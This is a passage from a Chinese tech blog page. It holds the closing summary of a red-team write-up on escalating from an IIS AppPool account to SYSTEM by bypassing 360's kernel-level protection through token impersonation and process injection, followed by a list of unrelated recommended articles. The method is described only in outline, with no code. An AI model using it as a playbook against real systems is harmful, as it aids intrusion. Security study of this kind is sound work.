APPPOOL账户的低权限虽然不能完全阻止攻击但增加了攻击者的操作成本。建议对Web应用的运行账户进行严格的权限隔离。总结本次实战完整展示了在360核晶防护环境下从IIS低权限到SYSTEM权限的突破过程。通过深入理解Windows令牌机制和进程注入原理我们找到了一条绕过核晶进程创建监控的高效路径。这套“模拟令牌进程注入二次提权”的战术不仅适用于本次靶场环境也为未来面对类似内核级防护的红队实战提供了可复用的方法论。红队对抗的本质是认知的对抗。谁能更深刻地理解系统的底层机制谁就能在攻防博弈中占据先机。本次实战的每一个失败尝试都是通向最终突破的阶梯。希望这份报告能为红队研究者提供有价值的参考同时也为防守方提供改进防御体系的思路。

相关推荐

从零开始的C++生活——第七讲——01
从零开始的C++生活——第七讲——01

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/5 2:05:46

1.2 I.MX6ULL C语言版LED驱动试验
1.2 I.MX6ULL C语言版LED驱动试验

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/5 2:04:43

原生社区交友婚恋视频即时通讯双端APP源码ONE兔2.0
原生社区交友婚恋视频即时通讯双端APP源码ONE兔2.0

用户体系、实名认证与婚恋资料设计 引言 婚恋交友平台的信任基础在于真实。用户体系、实名认证与资料真实性审核,是平台安全运营的第一道防线。本文围绕用户档案、认证机制与婚恋资料设计展开讨论。 一、用户档案与婚恋资料建模 用户档案应包含:基础信息… · 2026/11/5 2:04:43

PhaaS钓鱼即服务产业链解析与防御策略
PhaaS钓鱼即服务产业链解析与防御策略

1. 事件背景与行业影响2023年第三季度,一场针对跨国短信钓鱼团伙的全球打击行动引发安全行业震动。这个被安全研究人员称为"PhaaS三人组"(Phishing-as-a-Service)的犯罪集团,在过去18个月内构建了完整的钓鱼即服务产业链… · 2026/11/5 2:39:01

校园二手交易平台协同过滤推荐系统设计与实践
校园二手交易平台协同过滤推荐系统设计与实践

1. 项目概述校园二手交易平台一直是大学生活中不可或缺的一部分。每到毕业季,大量教材、电子产品、生活用品需要流转;而新生入学时,又急需性价比高的二手物品。传统的校园BBS或微信群交易方式存在信息杂乱、匹配效率低、信任度不足等问题。这… · 2026/11/5 2:39:01

电商API核心功能解析与实战应用指南
电商API核心功能解析与实战应用指南

1. 电商API的价值与应用全景第一次接触电商API时,我盯着技术文档里密密麻麻的接口列表发懵——这些代码究竟能变出什么魔法?直到亲眼见证某母婴品牌通过API将库存同步效率提升20倍,才真正理解这项技术的爆发力。电商API就像连接商业世界的万能… · 2026/11/5 2:39:01

PostgreSQL JSON字段使用指南与优化技巧
PostgreSQL JSON字段使用指南与优化技巧

1. 为什么PostgreSQL的JSON字段让人不习惯?第一次在PostgreSQL里用JSON字段时,我盯着屏幕发了十分钟呆——这跟MongoDB那种行云流水的文档操作完全不是一回事啊!后来才发现,PostgreSQL的JSON类型其实是个带着关系型数据库"镣… · 2026/11/5 2:39:01

URL打开方式全解析:地址栏、页面跳转与程序化请求的工程实践
URL打开方式全解析:地址栏、页面跳转与程序化请求的工程实践

1. 从一个看似废话的标题说起"url 打开有三种方式"——第一次看到这个标题,我差点笑出声。这算什么项目?浏览器地址栏敲回车、点超链接、代码里调个接口,三岁小孩都会。但真在项目里踩过坑的人都懂,这句话背后藏着的是一… · 2026/11/5 2:39:01

混合高斯模型(GMM)聚类算法原理与实战应用
混合高斯模型(GMM)聚类算法原理与实战应用

1. 混合高斯模型聚类实战指南在数据分析领域,聚类算法一直扮演着重要角色。不同于K-means这类硬聚类方法,混合高斯模型(GMM)通过概率分布的方式描述数据,能够更灵活地处理复杂的数据结构。最近我在一个客户细分项目中成… · 2026/11/5 2:38:01

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 3:16:49

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 6:59:29

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 7:02:38

多智能体协作系统架构设计与实践优化
多智能体协作系统架构设计与实践优化

1. 多智能体协作系统的时代背景2017年Transformer架构的诞生彻底改变了人工智能的发展轨迹。当行业还沉浸在单一大模型带来的性能突破时,Anthropic的研究团队已经将目光投向了更前沿的领域——如何让多个智能体通过协作产生超越单体能力的系统智能。这就像交响乐团中… · 2026/11/5 0:00:39

大模型系统性入门实战指南:从原理到部署微调的全链路路线
大模型系统性入门实战指南:从原理到部署微调的全链路路线

提到大模型的系统性入门,我先说个结论:这事真不难,难的是资料太散、路线太多,今天这个框架明天那个工具,新人很容易在“收藏夹吃灰”和“教程看到一半放弃”之间反复横跳。市面上关于大模型的内容少说有几十万篇&#… · 2026/11/5 0:00:39

鸿蒙文件系统沙箱机制解析与开发实践
鸿蒙文件系统沙箱机制解析与开发实践

1. 鸿蒙文件系统沙箱机制深度解析作为一名从Android转向鸿蒙开发的工程师,我深刻体会到文件系统访问是迁移过程中最先遇到的"拦路虎"。在Android上运行良好的文件读写代码,在鸿蒙真机环境却频频出现文件写入后神秘消失或直接抛出权限拒绝错误的… · 2026/11/5 0:00:39

双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试
双极步进电机控制实战:DRV8818PWPR与PIC18F86K22驱动调试

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 3:16:49

STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析
STM32F207ZG + DRV8818PWPR 步进电机驱动实战解析

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 6:59:29

DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案
DRV8818PWPR+dsPIC30F4013工业级双极步进电机控制方案

/* MD / 富文本中的 .toc(含博客园搬家等嵌套结构);.toc-box 在侧栏,不受影响 */#content_views .toc,/* 编辑器常在目录前后插入空 p(:empty 仍占 20px),一并去掉避免顶空隙 */#content_views.markdown_views > p:empty:has(+ .toc),#content_views.markdown_views … · 2026/11/4 7:02:38

了解更多?预约专属演示

我们的顾问将为您一对一讲解产品与方案

企业微信二维码